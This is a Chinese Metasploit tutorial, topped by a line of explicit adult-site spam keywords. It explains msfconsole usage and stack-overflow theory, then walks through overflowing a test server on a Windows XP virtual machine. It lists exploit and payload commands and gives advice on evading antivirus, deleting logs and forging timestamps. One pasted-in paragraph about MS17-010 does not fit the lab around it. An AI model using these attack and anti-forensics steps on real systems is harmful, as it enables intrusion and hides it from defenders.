欧美vvv,亚洲第一成人在线,亚洲成人欧美日韩在线观看,日本猛少妇猛色XXXXX猛叫

新聞資訊

    一)Metasploit 使用簡介

    Metasploit Framework 是非常優秀的開源滲透測試框架。

    Metasploit 滲透測試框架包含3功能模塊:

    • msfconsole
    • msfweb
    • msfupdate
    1. msfupdate用于軟件更新,建議使用前先進行更新,可以更新最新的漏洞庫和利用代碼。
    2. msfconsole 是整個框架中最受歡迎的模塊,所有的功能都可以在該模塊下運行。
    3. msfweb 是Metasploit framework的web組件支持多用戶,是Metasploit圖形化接口。

    msfconsole

    msfconsole是MSF中最主要最常用的功能組件,使用集成化的使用方法,可以使用MSF中的所有命令和模塊,支持很多其它接口方式不支持的功能。

    msfconsole主要有以下特點:

    • 支持命令完成功能(tab鍵)
    • 支持外部命令執行(可以執行系統命令)

    使用流程



    help命令

    和其它基于命令行的程序一樣,使用?或者help可以顯示MSF所支持的命令,如下為MSF內置的全部命令。

    show命令

    在msfconsole中鍵入show,系統會顯示Metasploit的所有模塊,若想顯示某一類型的模塊可以加入模塊名稱,最常用的主要有一下三個:

    • show payloads
    • show exploits
    • show auxiliary。
    • show auxiliary顯示Metasploit中的可用輔助模塊列表,這些輔助模塊包括scanner、dos、fuzzer等
    • show exploits 顯示Metasploit中包含的所有可以利用的攻擊類型列表。
    • show payloads 顯示Metasploit中可以在不同平臺中可以在遠程主機執行的代碼,即shellcode。注:在使用具體的exploit時,只顯示該平臺支持的payload,例如:在使用ms08-067時,只顯示windows平臺可以使用的payload。
    • show options 顯示可利用模塊exploit的設置、條件、描述等。在具體的模塊中使用,后面use命令中會有實例。
    • show targets 顯示可利用模塊exploit支持的目標類型(操作系統、軟件版本等)。在具體的模塊中使用,后面use命令中會有實例。
    • show advanced 顯示可利用模塊exploit高級信息,自定義利用程序時使用。在具體的模塊中使用,后面use命令中會有實例。
    • show encoders 顯示可利用模塊exploit的編碼方式,在具體的模塊中使用,后面set命令中會有實例。

    search命令

    search 命令是最常用的命令之一,用于查找各種exploit、payload、auxiliary等,命令支持基于正則表達式的模糊查詢。如下為查找ms08-067實例:

    info命令

    info用于顯示特殊模塊的詳細信息,顯示內容包括該模塊的選項、目標及其它信息。以下是使用info命令顯示ms08-067實例:

    use命令

    use命令用于使用特殊的模塊,如利用程序、shellcode或輔助模塊等。以ms08-067為例,模塊名稱必須包含完整的路徑,可以通過search命令搜索,以下還演示了show options、show targets命令的使用。

    conect 命令

    connect命令可以連接到遠程主機,連接方式和nc、telnet相同,可以指定端口,如下為connect命令演示:

    set命令

    set命令用于當前使用模塊的選項和設置參數。

    set payload xxx/xxx z設置溢出代碼

    set encoder xxx/xxx 設置利用程序編碼方式

    set target xxx 設置目標類型

    set xxx xxx 設置參數

    check命令

    部分exploit支持check命令,該命令用于檢測目標系統是否存在漏洞,而不是進行溢出操作。如下:說明目標系統不存在漏洞

    設置全局變量

    Metasploit 支持設置全局變量并可以進行存儲,下次登錄時直接使用。設置全局變量使用setg命令,unsetg撤銷全局變量,save用于保存全局變量。如下所示:

    exploit/run命令

    設置好各個參數后,可以使用exploit命令執行溢出操作,當使用了自定義auxiliary參數時,需要用run命令執行操作。

    resource命令

    resource命令可以加載資源文件,并按順序執行文件中的命令。

    irb命令

    運行irb命令,進入irb腳本模式,可以執行命令創建腳本。

    (二)安裝

    [root@k8s-master p3]# curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb
    [root@k8s-master p3]# ./msfinstall 
    [root@k8s-master p3]# chmod 755 msfinstall 
    [root@k8s-master p3]# msfconsole -v
    Framework Version: 5.0.25-dev-
    

    (三)使用

    • 啟動
    msfconsole
    

    • 了解基本命令
    ?或者 help
    

    show exploits
    用于展示Metaploit目錄中所有可用的漏洞利用代碼和攻擊載荷。
    

     info exploit/windows/wins/ms04_045_wins 
    

    use exploit/windows/wins/ms04_045_wins
    

    set RHOST 192.168.1.250 設置目標
    set RPORT 36568 設置端口
    set PAYLOAD generic/shell_bind_tcp 設置使用的shellcode
    exploit 執行攻擊
    

    (四)Metasploit攻擊方法分類

    使用的版本共有:

    • 635種溢出(exploit)模塊
    • 314種輔助(auxiliary)模塊
    • 215種加載(payload)模塊
    • 27種編碼(encoder)
    • 8種nops。

    exploits總的來說共分為兩類溢出(exploit)攻擊方法,即主動溢出和被動溢出

    • 主動溢出是針對目標主機的漏洞主動的進行攻擊以獲得控制權限
    • 被動溢出是針對目標主機被動的監聽然后獲得相應的操作。

    在所有的exploit中,針對windows平臺的最多,比其它所有平臺的總和還要多。

    緩沖區溢出是指當計算機向緩沖區內填充數據位數時超過了緩沖區本身的容量溢出的數據覆蓋在合法數據上,理想的情況是程序檢查數據長度并不允許輸入超過緩沖區長度的字符,但是絕大多數程序都會假設數據長度總是與所分配的儲存空間相匹配,這就為緩沖區溢出埋下隱患.操作系統所使用的緩沖區又被稱為"堆棧". 在各個操作進程之間,指令會被臨時儲存在"堆棧"當中,"堆棧"也會出現緩沖區溢出。

    緩沖區溢出是一種非常普遍、非常危險的漏洞,在各種操作系統、應用程序中廣泛存在。利用緩沖區溢出可民導致程序運行失敗、系統死機、重新啟動等后,也可以利用其獲得非授權指令,甚至系統特權,進而進行各種非法的操作。

    在當前網絡與分布式系統安全中,被廣泛利用的50%以上都是緩沖區溢出。緩沖區溢出中,最為危險的是堆棧溢出,因為入侵者可以利用堆棧溢出,在函數返回時改變返回程序的地址,讓其跳轉到任意地址,帶來的危害一種是程序崩潰導致拒絕服務,另外一種就是跳轉并且執行一段惡意代碼,比如得到shell,然后為所欲為。

    通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,造成程序崩潰或使程序轉而執行其它指令,以達到攻擊的目的。造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。

    隨便往緩沖區中填東西造成它溢出一般只會出現"分段錯誤"(Segmentation fault),而不能達到攻擊的目的。最常見的手段是通過制造緩沖區溢出使程序運行一個用戶shell,再通過shell執行其它命令。如果該程序屬于root且有suid權限的話,攻擊者就獲得了一個有root權限的shell,可以對系統進行任意操作了。

    緩沖區溢出攻擊之所以成為一種常見安全攻擊手段其原因在于緩沖區溢出漏洞太普遍了,并且易于實現。而且,緩沖區溢出成為遠程攻擊的主要手段其原因在于緩沖區溢出漏洞給予了攻擊者他所想要的一切:植入并且執行攻擊代碼。被植入的攻擊代碼以一定的權限運行有緩沖區溢出漏洞的程序,從而得到被攻擊主機的控制權。

    緩沖區溢出攻擊的目的在于擾亂具有某些特權運行的程序的功能,這樣可以使得攻擊者取得程序的控制權,如果該程序具有足夠的權限,那么整個主機就被控制了。一般而言,攻擊者攻擊root程序,然后執行類似"exec(sh)"的執行代碼來獲得root權限的shell。為了達到這個目的,攻擊者必須達到如下的兩個目標:

    1. 在程序的地址空間里安排適當的代碼。

    2. 通過適當的初始化寄存器和內存,讓程序跳轉到入侵者安排的地址空間執行。

    每當一個函數調用發生時,調用者會在堆棧中留下一個活動紀錄,它包含了函數結束時返回的地址。攻擊者通過溢出堆棧中的自動變量,使返回地址指向攻擊代碼。通過改變程序的返回地址,當函數調用結束時,程序就跳轉到攻擊者設定的地址,而不是原先的地址。這類的緩沖區溢出被稱為堆棧溢出攻擊(Stack Smashing Attack),是目前最常用的緩沖區溢出攻擊方式。

    函數指針可以用來定位任何地址空間。例如:"void (* foo)()"聲明了一個返回值為void的函數指針變量foo。所以攻擊者只需在任何空間內的函數指針附近找到一個能夠溢出的緩沖區,然后溢出這個緩沖區來改變函數指針。在某一時刻,當程序通過函數指針調用函數時,程序的流程就按攻擊者的意圖實現了。它的一個攻擊范例就是在Linux系統下的superprobe程序。

    在C語言中包含了一個簡單的檢驗/恢復系統,稱為setjmp/longjmp。意思是在檢驗點設定"setjmp(buffer)",用"longjmp(buffer)"來恢復檢驗點。然而,如果攻擊者能夠進入緩沖區的空間,那么"longjmp(buffer)"實際上是跳轉到攻擊者的代碼。象函數指針一樣,longjmp緩沖區能夠指向任何地方,所以攻擊者所要做的就是找到一個可供溢出的緩沖區。

    在metasploit中溢出模塊(Exploit)共分為13種,分別是:ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。其中windows下面的最多。

    輔助(Auxiliary)模塊共分為13種,分別是admin、client、crawler、dos、fuzzers、gather、pdf、scanner、server、sniffer、spoof、sqli、voip。

    加載(payload)模塊共分為13種,分別是aix、bsd、bsdi、cmd、generic、java、linux、netware、osx、php、solaris、tty、windows。

    (五)Metasploit架構

    Metasploit Framework并不止具有exploit(溢出)收集功能,它使你專注于創建自己的溢出模塊或者二次開發。很少的一部分用匯編和C語言實現,其余均由ruby實現。總體架構如圖9所示:


    • TOOLS 集成了各種實用工具,多數為收集的其它軟件
    • PLUGINS 各種插件,多數為收集的其它軟件。直接調用其API,但只能在console模式下工作。
    • MODULES 目前的Metasploit Framework 的各個模塊
    • MSF core 表示Metasploit Framework core 提供基本的API,并且定義了MSF的框架。并將各個子系統集成在一起。組織比較散亂,不建議更改。
    • MSF Base 提供了一些擴展的、易用的API以供調用,允許更改
    • Rex LIBRARIES Metasploit Framework中所包含的各種庫,是類、方法和模塊的集合
    • CLI 表示命令行界面
    • GUI 圖形用戶界面
    • Console 控制臺用戶界面
    • Web 網頁界面,目前已不再支持
    • Exploits 定義實現了一些溢出模塊,不含payload的話是一個Aux
    • Payload 由一些可動態運行在遠程主機上的代碼組成
    • Nops 用以產生緩沖區填充的非操作性指令
    • Aux 一些輔助模塊,用以實現輔助攻擊,如端口掃描工具
    • Encoders 重新進行編碼,用以實現反檢測功能等
    • /msf3/plugins主要包括一些數據庫插件、會話插件、線程插件、socket插件等;
    • / postgresql/lib/plugins主要是postgresql的調試插件和分析插件。還有一些其它的插件,比如ruby插件等。
    • /tools主要是一些輔助工具,如vncviewer、7za等。
    • /msf3/tools主要是一些轉化工具,如memdump、ruby工具等。
    • MSF core定義了整個軟件的架構方式,提供了一些基本的API,主要由匯編和C語言來實現,一般情況下不允許直接調用。共有136個匯編文件,7個.h文件,681個.C文件。MSF core組織的比較散亂,不建議更改。
    • 匯編部分主要完成的是與相應的操作系統(如windows、linux等)有關的功能,主要是shellcode的實現等。
    • C語言完成的功能比較多,主要是meterpreter的實現和一些工具性的應用,包括ruby相關、內存相關(如memdump.c,屬于memdump軟件包,用于在DOS和Windows 9x 中dump或copy 4GB以內的地址空間)、網絡相關(pcaprub.c,屬于libpcap軟件包的一部分,是ruby中網絡的一部分)、反檢測相關(timestomp.c,屬于timestomp軟件,用于修改文件的時間戳)等。其工具性的應用多是直接來自于其它工具軟件。
    • Meterpreter是MSF core中最重要的一部分,其本身是一個具有多種功能的動態payload,并且可以在運行時動態擴展。它提供了交互式shell的基礎。整個運行在內存當中,但它并不創建新的進程,并且使用了加密的通信方法,能有效避免檢測。
    • MSF base分布在很多文件夾當中,定義了大量的實用API,例如svn API、scan API、encode API、更新API、操作API、數據庫API、exploit API、GUI API、java API、meterpreter API、php API、snmp API、模塊API、ruby API、網絡API等……主要供modules下的相關程序進行調用,開發人員也可直接調用其API。

    (六)Metasploit二次開發方法

    Metasploit中的類和方法具有很好的可讀性,并且采用了元編程的思想,使得進行二次開發更加方便快捷。簡單的說一個程序能夠產生另一個程序,就是元編程。ruby、python等均可方便的采用元編程思想。metasploit中前四個字母正好是meta,猜測其是Metaprogramming的含義。

    Metasploit中所有的模塊都從Msf::Module中繼承,并且所有的模塊有一個共享的API庫。

    在Metasploit中修改的exploit、payload等模塊時,直接找到相應的文件修改并保存,重新啟動console即可看到自己修改后的模塊的效果。

    在metasploit當中增加exploit、auxiliary等模塊時,最快捷的方法是仿照現有的模塊方式、使用metasploit中提供的協議(比如使用metasploit中的socket方法,而不使用ruby中的socket方法,meterpreter對socket進行的封裝和擴展功能,使用起來更加方便,增加了代理、ssh等特征)。模塊寫好后放在相應的目錄,重新啟動console即可看到自己所增加的模塊部分。

    下面是一些攻擊經常使用的模塊的位置。

    auxiliary模塊位于/msf3/modules/auxiliary/下。
    Exploits模塊位于/msf3/modules/exploits/下。
    Payloads模塊位于/msf3/modules/payloads/下。
    Nops模塊位于/msf3/modules/nops下。
    Encoders模塊位于/msf3/modules/encoders/下。
    

    另外在core部分也有一些exploit、aux等,其作用是為上述的攻擊部分提供基礎,被上述模塊調用。在windows或是在linux中都使用上述方法進行二次開發。后面會詳細的介紹新增一個exploit的方法和過程。

    (七)安全軟件常用檢測方法

    1 基于事務發生的時間戳,時間

    2 發現可疑文件時,尋找其它具有類似MAC地址的文件,位置

    3 根據文件擴展名和簽名,文件特征

    4 對于系統內文件創建MD5校驗,內容

    5 查找相應的關鍵字,關鍵字

    6 對文件的內容進行行為分析,行為分析。安全軟件預先知道大量的病毒指令序列,可對文件內容進行檢測,如果發現匹配的序列就發出警告。

    7 檢查當前的進程、端口、文件系統等,狀態檢查

    8 在文件寫入磁盤時進行檢測。

    (八)Metasploit反檢測方法

    針對安全軟件常用的檢測方法,metasploit當中集成了一些反檢測的方法。還有一些相應的建議。

    1 在metasploit中使用了meterpreter方法提供一些實用的API。但是meterpreter整個運行在內存當中;但它并不創建新的進程;并且使用了加密的通信方法;并且能夠有效的消除入侵證據。整個過程大約在1秒內完成。避免了一些安全軟件對于進程的檢測。

    2 內置了27種encode模塊,可對metasploit中的exploit進行編碼(encode),以避免反病毒軟件檢測。27 種encode如下:

    Name Rank Description
    ---- ---- -----------
    cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
    cmd/ifs low Generic ${IFS} Substitution Command Encoder
    cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder
    generic/none normal The "none" Encoder
    mipsbe/longxor normal XOR Encoder
    mipsle/longxor normal XOR Encoder
    php/base64 great PHP Base64 encoder
    ppc/longxor normal PPC LongXOR Encoder
    ppc/longxor_tag normal PPC LongXOR Encoder
    sparc/longxor_tag normal SPARC DWORD XOR Encoder
    x64/xor normal XOR Encoder
    x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_utf8_tolower manual Avoid UTF8/tolower
    x86/call4_dword_xor normal Call+4 Dword XOR Encoder
    x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
    x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
    x86/context_time manual time(2)-based Context Keyed Payload Encoder
    x86/countdown normal Single-byte XOR Countdown Encoder
    x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha low Non-Alpha Encoder
    x86/nonupper low Non-Upper Encoder
    x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit manual Single Static Bit
    x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
    

    很多反病毒軟件是基于簽名(signature-based)技術來進行病毒檢測的,metasploit可以使用相應的payload將簽名更改,從而達到反檢測的目的。比如對一個軟件采用多種編碼方法以應對安全軟件的檢測,比如"ABC"這三個字母對于某個漏洞而言具有攻擊性,編碼時對每個字母采用不同的編碼方式以逃避安全軟件的檢測。

    3 內置日志刪除模塊,可以刪除相應的事務日志,以避免檢測。

    4 metasploit framework中集成了timestomp(用于修改文件時間戳)、slacker(用于隱藏文件)、SAM Juicer(meterpreter的一部分,用于從SAM中轉儲哈希)、偽造MAC地址等工具用于消除入侵證據。

    5 避免使用一些明顯具有木馬或病毒含義的名子或關鍵字,如"灰鴿子"等肯定會引起安全軟件的注意。

    6 所開發的模塊盡量放在目標機多個存儲位置,以避免所有的模塊被安全軟件一次清除

    7 攻擊安全軟件,使安全軟件失效,目前還未開發。

    (九)一般攻擊的過程

    1 獲得EIP。IP是指令寄存器,存放當前指令的下一條指令的地址,CPU該執行哪條指令就是通過IP來指示的。EIP為32位機的指令寄存器,存放的是相對地址,也就是基于段基址的偏移值。CPU的ESP寄存器存放當前線程的棧頂指針,EBP存放當前線程的棧底指針。

    2插入shellcode。Shellcode實際上是一段代碼或填充數據,用來發送到服務器利用特定的漏洞的代碼,一般可以獲取權限。另外,shellcode一般是作為數據發送給受攻擊服務的。Shellcode是溢出程序或病毒的核心。主要針對沒有打補丁的主機有作用。Shellcode一般用C語言或匯編語言編寫,C語言編寫較快,匯編語言便于控制shellcode的生成。一個shellcode只能為特定的平臺所使用,不能供多個溢出程序、操作系統使用。

    Shellcode即可以是本地的也可以是遠程的。本地shellcode主要是一名攻擊者為了獲取本地計算機權限,例如一段緩沖區溢出程序成功執行后可以獲得一定的權限。

    遠程shellcode主要是一名攻擊者為了獲得本地網絡或互聯網上另一臺主機的控制權限,如果成功后攻擊者可以通過網絡獲得目標主機的控制權限。如果它可以連接攻擊者和被攻擊者,稱為反向連接shellcode。如果它通過綁定一個相應的端口來進行控制,稱之為bindshell。第三種shellcode非常特殊,它在目標機上創建一個可以讓攻擊者重復利用的連接,而這個連接是建立在目標機現有的連接之上,并不創建新的連接。這種shellcode最難創建也最不容易被檢測。

    3反向連接shell

    即將目標主機當做服務,攻擊者機器作為客戶端。

    4 添加用戶或其它

    (十)惡意軟件分類

    1 特洛伊木馬(Trojan horse)潛茂在其它有用的軟件中實施惡意操作的指令。通常將編寫程序時就已經安裝的惡意指令稱為特洛伊木馬,在程序編寫完后加入的惡意代碼稱為病毒。

    2 病毒(virus) 在執行之后能將自身植入到其它程序中的指令。病毒安裝在其它程序的方式:替換任意指令,比如在X處的指令替換成跳轉到內存的其他某個地方Y,然后在Y處執行病毒代碼,然后在病毒代碼后加入口令,使病毒代碼執行完后跳到X+1處。

    1. 蠕蟲(worm)能自我復制并通過網絡將自己安裝在其他計算機上的程序。
    2. 陷門(trapdoor)故意在程序中加入未開放的入口,經常用于調試程序,也可以作為安全漏洞使用。
    3. 邏輯炸彈(logic bomb)在未來根據特定條件啟動的惡意指令,比如在特定的時間啟動。
    4. 僵尸(zombie) 在其他計算機上安裝的惡意代碼,可通過遠程控制這種代碼的方式實施攻擊,由于攻擊來自其它主機,這種方式更難追蹤。攻擊者經常安裝大量的僵尸以制造大量的網絡流量。

    (十一)exploits詳細解析之proftp_telnet_iac.rb

    Metasploit中的exploit部分設計目標是提供一個開發exploit簡單方法,提供了大量的庫,并且使用了ruby中的Mix-in(糅和或混合插入)方法實現多重繼承,以便于讓二次開發人員能夠快速的進行二次開發。

    所有的exploit都具有類似的結構,每一個exploit開始都有一個initialize;其次定義了check方法,此方法并不是必須的;最后定義了exploit方法。

    在initialize方法中,含有本exploit的描述信息(作者、漏洞溢出方法描述)、使用選項(設定主機IP、端口號等)和shellcode部分。

    Check方法并不是必須的,主要是檢查目標機的情況,比如目標機是否易受攻擊,本溢出方法是否適合攻擊目標機等。檢查完后返回一些已經預定義好的值(后面的注釋為自我理解,可能不夠準確),如下:

    CheckCode::Safe 目標機安全,攻擊可能無效
    CheckCode::Detected 目標機提供了相應的服務
    CheckCode::Appears 目標機已經被感染
    CheckCode::Vulnerable 目標機易受攻擊
    CheckCode::Unsupported 本exploit對目標機不可用
    

    Exploit方法主要是連接到目標主機,執行shellcode等。

    將其直接放在msf3\modules\exploits\windows\imap\目錄下,再查找一次。

    仍然是沒有找到,重新console,然后再進行查找。

    在上圖中可以看到,已經查找到了新增加的exploit。下面看是否能使用,對其使用use,然后查看其選項。

    然后設定目標IP(本例中設定了自己建立的虛擬機)并進行check,因為虛擬機中并沒有安裝相應的服務,所以check的時候失敗。

    (十二)使用場景

    1、情報搜集

    (1) 信息搜索

    nslookup與dig域名查詢

    (2) 主機探測與端口掃描

    Nmap進行主機探測

    nmap -sn 192.168.1.0/24
    

    (ICMP包探測,Ping掃描,適合內網,外網容易被防火墻過濾掉)

    nmap -Pn -sn 192.168.1.0/24
    

    (UDP包探測,適合Internet環境,功能類似于metasploit的udp_sweep模塊)

    nmap的端口掃描功能

    nmap -sV -Pn 192.168.1.2
    

    (3) 服務掃描與查點

    SSH服務掃描

    SSH服務口令猜測(此模塊需要自己設置或者導入USERNAME或者PASS_FILE文件作為猜測的依據)

    2、web漏洞掃描

    流程:

    • 第一步:db_connect連接數據庫
    • 第二步:db_status 查看數據庫狀態
    • 第三步:load wmap 加載wmap模塊
    • 第四步:wmap_sites -a url 添加掃描站點
    • wmap_sites -l 查看已添加的站點
    • 第五步:wmap_targets -t url或wmap_targets -d id 根據站點ID,設置目標站點
    • wmap_targets -l 檢查已待掃描的目標主機
    • 第六步:wmap_run -e 對目標啟動 WMAP掃描
    • 第七步:vulns 和 wmap_vulns -l 查看漏洞詳細信息

    3、生成惡意攻擊腳本

    流程:

    • 第一步:search name 如search ms08_067,會顯示出找到的滲透模塊
    • 第二步:use name 如use exploit/windows/smb/ms08_067_netapi,漏洞模塊的使用
    • 第三步:info 查看模塊信息
    • 第四步:show payloads會顯示出有效的攻擊載荷,比如shell_reverse_tcp
    • 第五步:set payload 如set payload generic/shell_reverse_tcp設置攻擊有效載荷
    • 第六步:show targets會顯示出可以被攻擊的靶機的操作系統型號
    • 第七步:set targets num 設置目標的系統類型
    • 第八步:show options 顯示需要在攻擊前需要設置的數據
    • 第九步:set name 設置參數,如set LHOST “本機IP”, set RHOST “目標IP”
    • 第十步:exploit 開始攻擊或生成帶有攻擊代碼的文檔等
    • 第十一步:session –l –v列出所有可用的交互會話以及詳細信息

    一.XP系統與Kali網絡配置

    本實驗目的是Kali系統利用Windows XP棧溢出漏洞,以Metasploit溢出bof-server.exe為例,進行攻擊及shell反彈。在進行所有實驗之前,需要保證虛擬機各系統之間能夠相互通信,安裝過程詳見之前的文章。

    第一步,點擊“虛擬機”->“設置”。


    第二步,將XP和Kali網絡連接屬性均勾選成“NAT模式”,然后點擊確定。


    第三步,配置后在kali的shell上用ifconfig命令查看主機IP。

    • Kali:ifconfig 192.168.44.129



    第四步,在Windows的命令行中用ipconfig查看主機IP。

    • XP:ipconfig 192.168.44.130


    同時,主機Win10系統也能夠Ping通虛擬機和Kali系統。



    二.簡單棧溢出實驗

    bof-serve下載地址:https://github.com/eastmountyxz/Security-Software-Based


    第一步,在主機Win10系統中設置共享文件夾,將bof-serve.exe共享給虛擬機中的XP系統。


    第二步,在XP系統下載該軟件至E盤,并在CMD中運行該軟件。


    bof-server.exe 4242
    此時XP系統為服務端,開啟4242端口處于監聽狀態。


    第三步,Windows XP SP3關閉堆棧執行保護(DEP)保護。

    棧溢出保護

    它是一種緩沖區溢出攻擊緩解手段,當函數存在緩沖區溢出攻擊漏洞時,攻擊者可以覆蓋棧上的返回地址來讓shellcode能夠得到執行。當啟用棧保護后,函數開始執行的時候會先往棧里插入cookie信息,當函數真正返回的時候會驗證cookie信息是否合法,如果不合法就停止程序運行。攻擊者在覆蓋返回地址的時候往往也會將cookie信息給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。



    右鍵“我的電腦”,點擊“屬性”,然后在“高級”中選擇“啟動和故障恢復設置”,如下圖所示:


    節點點擊“編輯”按鈕,彈出boot.ini文件。


    代碼如下:

    [boot loader]
    timeout=30
    default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
    [operating systems]
    multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" 
    /noexecute=optin /fastdetect
    

    我們將“noexecute=optin”修改為“noexecute=AlwaysOff”,表示關閉DEP堆棧執行保護。


    第四步,在Kali系統中設置遠程連接。

    telnet 192.168.44.130 4242
    

    此時遠程連接成功,輸入“version”可以看到XP系統中bof-server的版本信息。


    同樣,XP系統可以看到目標客戶端Kali系統(192.168.44.129)已經連接。


    第五步,用python生成1024個A,并且發送這些字符串給XP系統。

    python -c "print('A'*1024)"
    

    注意通過telnet連接XP系統,然后發送這1024個字符串。


    第六步,觀察XP系統,會返現bof-server.exe產生崩潰。


    第七步,檢查錯誤原因發現偏移處是41414141,這正是A的ascii碼,說明發生了溢出。


    三.使用Msfconsole進入msf控制臺

    Msfconsole提供了一個一體化的集中控制臺。通過msfconsole,你可以訪問和使用所有的metasploit的插件、payload、利用模塊、post模塊等。Msfconsole還有第三方程序的接口,比如nmap、sqlmap等,可以直接在msfconsole里面使用。 在啟動MSF終端之后,可以首先輸入help命令列出MSF終端所支持的命令列表,包括核心命令集和后端數據庫命令集。對于其中的大部分命令,你可以輸入help[COMMAND],進一步查看該命令的使用幫助信息。

    第一步,輸入Msfconsole打開msf。

    msfconsole
    


    第二步,輸入search ms08-067查找漏洞。大家簡單了解其功能,后續會寫一篇文章專門分享。

    search ms08-067
    

    第三步,使用Metasploit中的pattern_create.rb腳本生成字符序列。

    首先我們查看以下pattern_create.rb腳本的幫助信息,在Kali命令行輸入如下信息:

    root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -h
    Usage: msf-pattern_create [options]
    Example: msf-pattern_create -l 50 -s ABC,def,123
    Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
     
    Options:
        -l, --length <length>            The length of the pattern
        -s, --sets <ABC,def,123>         Custom Pattern Sets
        -h, --help                       Show this message
    

    在msf控制臺中輸入以下命令生成字符序列。

    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024


    第四步,調用telnet遠程連接XP系統,并將生成的內容復制發送。


    第五步,確定溢出點位置。
    使用pattern_create.rb產生1024個有序的字符,用同樣的方式發送到XP系統,發現Offset位置為“72413372”。


    此時的偏移是“72413372”,也就是說可以利用這個偏移來定位Buf的長度。任意非00的指令覆蓋buffer和EBP,其結構我們再觀察一遍Payload結構,如下圖所示。


    第六步,調用文件pattern_offset.rb計算偏移量,其offset準確字節數量為520。

    /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 72413372 -l 1024


    這里我們用到的工具是Metasploit下的pattern_offset.rb,查看pattern_offset.rb腳本的幫助信息如下:

    root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -h
    Usage: msf-pattern_offset [options]
    Example: msf-pattern_offset -q Aa3A
    [*] Exact match at offset 9
     
    Options:
        -q, --query Aa0A                 Query to Locate
        -l, --length <length>            The length of the pattern
        -s, --sets <ABC,def,123>         Custom Pattern Sets
        -h, --help                       Show this message
    

    其中參數“-q”是要查詢的地址,參數“-l”是要查詢的字符序列的長度。我們對應的地址為72413372,生成的字符序列的長度為1024,其命令為:

    msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 72413372 -l 1024
    [*] Exact match at offset 520
    

    最終得出結果為520。

    四.分析bof-serve運行加載的DLL文件

    使用pattern_offset計算得到長度是第520位。接下來尋找一個jmp esp的地址,用Immunity Debugger調試工具打開bof-server查看其調用的dll文件,這里選取WS2_32.dll這個文件。

    下載地址或github:http://www.immunityinc.com/products/debugger/

    第一步,通過文件共享功能將Immunity Debugger軟件分享給XP系統。


    第二步,安裝并打開Immunity Debugger軟件,點擊“File”->“Attach”,顯示目標機上運行的所有進程。


    第三步,運行XP系統的服務程序bof-server.exe,端口為4242,處于監聽狀態。


    第四步,查看XP系統上的所有進程,找到名稱為bof-server.exe的進程并查看。


    第五步,選中bof-server.exe進程,單擊右下角的Attach按鈕。


    此時,顯示bof-server.exe的運行信息如下:


    第六步,選擇“View”->“Executable modules”菜單。


    點擊后的效果如下圖所示:


    這里,就是bof-server.exe運行加載的所有DLL文件了。這里我們選擇一個ws2_32.dll文件上傳到Kali的root目錄下。復制的方法包括:

    • 文件共享
    • 百度網盤鏈接下載
    • 遠程服務傳送

    ws2_32.DLL復制到Kali的目錄,如下圖所示:


    五.通過Metasploit查找JMP ESP指令的地址

    接下來,我們需要通過工具Metasploit下的msfbinscan查找JMP ESP指令的地址。

    Metasploit Framework(MSF)是一款開源安全漏洞檢測工具,附帶數千個已知的軟件漏洞,并保持持續更新。Metasploit可以用來信息收集、漏洞探測、漏洞利用等滲透測試的全流程,被安全社區冠以“可以黑掉整個宇宙”之名。剛開始的Metasploit是采用Perl語言編寫的,但是再后來的新版中,改成了用Ruby語言編寫的了。在kali中,自帶了Metasploit工具。我們接下來以大名鼎鼎的永恒之藍MS17_010漏洞為切入點,講解MSF框架的使用。


    第一步,進入msf命令行,在Kali終端下輸入“msfconsole”命令。

    查看msfbinscan的幫助信息,如下:

    msf > msfbinscan -h
    [*] exec: msfbinscan -h
     
    Usage: /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/bin/msfbinscan [mode] <options> [targets]
     
    Modes:
        -j, --jump [regA,regB,regC]      Search for jump equivalent instructions        [PE|ELF|MACHO]
        -p, --poppopret                  Search for pop+pop+ret combinations            [PE|ELF|MACHO]
        -r, --regex [regex]              Search for regex match                         [PE|ELF|MACHO]
        -a, --analyze-address [address]  Display the code at the specified address      [PE|ELF]
        -b, --analyze-offset [offset]    Display the code at the specified offset       [PE|ELF]
        -f, --fingerprint                Attempt to identify the packer/compiler        [PE]
        -i, --info                       Display detailed information about the image   [PE]
        -R, --ripper [directory]         Rip all module resources to disk               [PE]
            --context-map [directory]    Generate context-map files                     [PE]
     
    Options:
        -A, --after [bytes]              Number of bytes to show after match (-a/-b)    [PE|ELF|MACHO]
        -B, --before [bytes]             Number of bytes to show before match (-a/-b)   [PE|ELF|MACHO]
        -I, --image-base [address]       Specify an alternate ImageBase                 [PE|ELF|MACHO]
        -D, --disasm                     Disassemble the bytes at this address          [PE|ELF]
        -F, --filter-addresses [regex]   Filter addresses based on a regular expression [PE]
        -h, --help                       Show this message
    msf > 
    

    第二步,輸入如下命令來獲取JMP ESP指令的地址。

    msf > msfbinscan --jump esp ./ws2_32.dll
    [*] exec: msfbinscan -jump esp ./ws2_32.dll
     
